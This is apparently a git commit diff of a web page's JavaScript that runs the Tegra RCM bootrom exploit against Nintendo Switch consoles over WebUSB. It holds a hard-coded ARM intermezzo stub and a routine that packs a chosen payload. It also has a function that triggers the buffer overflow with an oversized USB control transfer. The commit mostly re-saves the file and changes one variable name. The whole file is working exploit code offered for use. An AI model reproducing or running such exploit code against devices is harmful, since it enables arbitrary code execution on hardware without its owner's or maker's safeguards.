commit
c721ed37c1
480
main.js
480
main.js
|
@ -1,240 +1,240 @@
|
||||||
function logOutput(...message) {
|
function logOutput(...message) {
|
||||||
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
||||||
}
|
}
|
||||||
|
|
||||||
function clearLog() {
|
function clearLog() {
|
||||||
document.getElementById("output").innerHTML = "";
|
document.getElementById("output").innerHTML = "";
|
||||||
}
|
}
|
||||||
|
|
||||||
async function getPayloadList(){
|
async function getPayloadList(){
|
||||||
return fetch("payloads/payloads.json")
|
return fetch("payloads/payloads.json")
|
||||||
.then((response) => {
|
.then((response) => {
|
||||||
if(!response.ok)
|
if(!response.ok)
|
||||||
throw new Error(response.status);
|
throw new Error(response.status);
|
||||||
return response.json();
|
return response.json();
|
||||||
})
|
})
|
||||||
.then((data) => {
|
.then((data) => {
|
||||||
return data.payloads;
|
return data.payloads;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
(async () => {
|
(async () => {
|
||||||
const payloadSelect = document.getElementById("payloadSelect");
|
const payloadSelect = document.getElementById("payloadSelect");
|
||||||
let payloadList;
|
let payloadList;
|
||||||
try {
|
try {
|
||||||
payloadList = await getPayloadList();
|
payloadList = await getPayloadList();
|
||||||
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logOutput("There was a problem retreiving the payload list. Error: " + error);
|
logOutput("There was a problem retreiving the payload list. Error: " + error);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
payloadList.forEach((payload) => {
|
payloadList.forEach((payload) => {
|
||||||
const payloadOption = document.createElement("option");
|
const payloadOption = document.createElement("option");
|
||||||
|
|
||||||
payloadOption.value = payload.path;
|
payloadOption.value = payload.path;
|
||||||
payloadOption.innerHTML = payload.name + " " + payload.version;
|
payloadOption.innerHTML = payload.name + " " + payload.version;
|
||||||
|
|
||||||
payloadSelect.appendChild(payloadOption);
|
payloadSelect.appendChild(payloadOption);
|
||||||
});
|
});
|
||||||
|
|
||||||
})()
|
})()
|
||||||
|
|
||||||
async function getPayload(payloadSrc){
|
async function getPayload(payloadSrc){
|
||||||
return fetch(payloadSrc)
|
return fetch(payloadSrc)
|
||||||
.then((response) => {
|
.then((response) => {
|
||||||
if(!response.ok)
|
if(!response.ok)
|
||||||
throw new Error(response.status);
|
throw new Error(response.status);
|
||||||
return response.arrayBuffer();
|
return response.arrayBuffer();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
const intermezzo = new Uint8Array([
|
const intermezzo = new Uint8Array([
|
||||||
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
||||||
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
||||||
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
||||||
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
||||||
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
||||||
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
||||||
const INTERMEZZO_LOCATION = 0x4001F000;
|
const INTERMEZZO_LOCATION = 0x4001F000;
|
||||||
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||||
|
|
||||||
function createRCMPayload(intermezzo, payload) {
|
function createRCMPayload(intermezzo, payload) {
|
||||||
const rcmLength = 0x30298;
|
const rcmLength = 0x30298;
|
||||||
|
|
||||||
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
||||||
|
|
||||||
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
||||||
|
|
||||||
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
||||||
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
||||||
|
|
||||||
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
||||||
|
|
||||||
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
||||||
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
||||||
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
||||||
|
|
||||||
return rcmPayload;
|
return rcmPayload;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function bufferToHex(data) {
|
function bufferToHex(data) {
|
||||||
let result = "";
|
let result = "";
|
||||||
for (let i = 0; i < data.byteLength; i++)
|
for (let i = 0; i < data.byteLength; i++)
|
||||||
result += data.getUint8(i).toString(16).padStart(2, "0");
|
result += data.getUint8(i).toString(16).padStart(2, "0");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
async function write(device, data) {
|
async function write(device, data) {
|
||||||
let length = data.length;
|
let length = data.length;
|
||||||
let writeCount = 0;
|
let writeCount = 0;
|
||||||
const packetSize = 0x1000;
|
const packetSize = 0x1000;
|
||||||
|
|
||||||
while (length) {
|
while (length) {
|
||||||
const dataToTransmit = Math.min(length, packetSize);
|
const dataToTransmit = Math.min(length, packetSize);
|
||||||
length -= dataToTransmit;
|
length -= dataToTransmit;
|
||||||
|
|
||||||
const chunk = data.slice(0, dataToTransmit);
|
const chunk = data.slice(0, dataToTransmit);
|
||||||
data = data.slice(dataToTransmit);
|
data = data.slice(dataToTransmit);
|
||||||
await device.transferOut(1, chunk);
|
await device.transferOut(1, chunk);
|
||||||
writeCount++;
|
writeCount++;
|
||||||
}
|
}
|
||||||
|
|
||||||
return writeCount;
|
return writeCount;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function readFileAsArrayBuffer(file) {
|
function readFileAsArrayBuffer(file) {
|
||||||
return new Promise((res, rej) => {
|
return new Promise((res, rej) => {
|
||||||
const reader = new FileReader();
|
const reader = new FileReader();
|
||||||
reader.onload = e => {
|
reader.onload = e => {
|
||||||
res(e.target.result);
|
res(e.target.result);
|
||||||
}
|
}
|
||||||
reader.readAsArrayBuffer(file);
|
reader.readAsArrayBuffer(file);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
let device;
|
let device;
|
||||||
|
|
||||||
async function launchPayload(payload) {
|
async function launchPayload(payload) {
|
||||||
await device.open();
|
await device.open();
|
||||||
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
||||||
|
|
||||||
if (device.configuration === null) {
|
if (device.configuration === null) {
|
||||||
await device.selectConfiguration(1);
|
await device.selectConfiguration(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
await device.claimInterface(0);
|
await device.claimInterface(0);
|
||||||
|
|
||||||
const deviceID = await device.transferIn(1, 16);
|
const deviceID = await device.transferIn(1, 16);
|
||||||
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
||||||
|
|
||||||
const rcmPayload = createRCMPayload(intermezzo, payload);
|
const rcmPayload = createRCMPayload(intermezzo, payload);
|
||||||
logOutput("Sending payload...");
|
logOutput("Sending payload...");
|
||||||
const writeCount = await write(device, rcmPayload);
|
const writeCount = await write(device, rcmPayload);
|
||||||
logOutput("Payload sent!");
|
logOutput("Payload sent!");
|
||||||
|
|
||||||
if (writeCount % 2 !== 1) {
|
if (writeCount % 2 !== 1) {
|
||||||
logOutput("Switching to higher buffer...");
|
logOutput("Switching to higher buffer...");
|
||||||
await device.transferOut(1, new ArrayBuffer(0x1000));
|
await device.transferOut(1, new ArrayBuffer(0x1000));
|
||||||
}
|
}
|
||||||
|
|
||||||
logOutput("Trigging vulnerability...");
|
logOutput("Trigging vulnerability...");
|
||||||
const vulnerabilityLength = 0x7000;
|
const vulnerabilityLength = 0x7000;
|
||||||
const smash = await device.controlTransferIn({
|
const smash = await device.controlTransferIn({
|
||||||
requestType: 'standard',
|
requestType: 'standard',
|
||||||
recipient: 'interface',
|
recipient: 'interface',
|
||||||
request: 0x00,
|
request: 0x00,
|
||||||
value: 0x00,
|
value: 0x00,
|
||||||
index: 0x00
|
index: 0x00
|
||||||
}, vulnerabilityLength);
|
}, vulnerabilityLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
document.getElementById("goButton").addEventListener("click", async () => {
|
document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
clearLog();
|
clearLog();
|
||||||
var debugCheckbox = document.getElementById("shouldDebug");
|
var debugCheckbox = document.getElementById("shouldDebug");
|
||||||
const payloadPath = document.getElementById("payloadSelect").value;
|
const payloadPath = document.getElementById("payloadSelect").value;
|
||||||
|
|
||||||
if(!debugCheckbox.checked) {
|
if(!debugCheckbox.checked) {
|
||||||
|
|
||||||
logOutput("Requesting access to device...");
|
logOutput("Requesting access to device...");
|
||||||
try {
|
try {
|
||||||
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.log(error);
|
console.log(error);
|
||||||
logOutput("Failed to get a device. Did you chose one?");
|
logOutput("Failed to get a device. Did you chose one?");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
let payload;
|
let payload;
|
||||||
if (payloadPath === "uploaded") {
|
if (payloadPath === "uploaded") {
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
const file = document.getElementById("payloadUpload").files[0];
|
||||||
if (!file) {
|
if (!file) {
|
||||||
alert("You need to upload a file, to use an uploaded file.");
|
alert("You need to upload a file, to use an uploaded file.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
logOutput("Using uploaded payload \"" + file.name + "\"");
|
logOutput("Using uploaded payload \"" + file.name + "\"");
|
||||||
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
try {
|
try {
|
||||||
payload = new Uint8Array(await getPayload(payloadPath));
|
payload = new Uint8Array(await getPayload(payloadPath));
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logOutput("There was a problem retreiving the payload. Error: " + error)
|
logOutput("There was a problem retreiving the payload. Error: " + error)
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if(debugCheckbox.checked) {
|
if(debugCheckbox.checked) {
|
||||||
logOutput("Logging payload bytes...");
|
logOutput("Logging payload bytes...");
|
||||||
|
|
||||||
var payloadToLog = "";
|
var payloadToLog = "";
|
||||||
for (var i = 0; i < payload.length; i++) {
|
for (var i = 0; i < payload.length; i++) {
|
||||||
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
||||||
}
|
}
|
||||||
payloadToLog = payloadToLog;
|
payloadToLog = payloadToLog;
|
||||||
logOutput(payloadToLog);
|
logOutput(payloadToLog);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
logOutput(`<span style='color:blue'>Preparing to launch ${payloadPath}...</span>`);
|
||||||
launchPayload(payload);
|
launchPayload(payload);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function onSelectChange() {
|
function onSelectChange() {
|
||||||
if (document.getElementById("payloadSelect").value === "uploaded")
|
if (document.getElementById("payloadSelect").value === "uploaded")
|
||||||
document.getElementById("uploadContainer").style.display = "block"
|
document.getElementById("uploadContainer").style.display = "block"
|
||||||
else
|
else
|
||||||
document.getElementById("uploadContainer").style.display = "none"
|
document.getElementById("uploadContainer").style.display = "none"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function openInfo() {
|
function openInfo() {
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function openInstructions() {
|
function openInstructions() {
|
||||||
if(document.getElementById("infodiv").innerHTML != "") {
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
document.getElementById("infodiv").innerHTML = "";
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue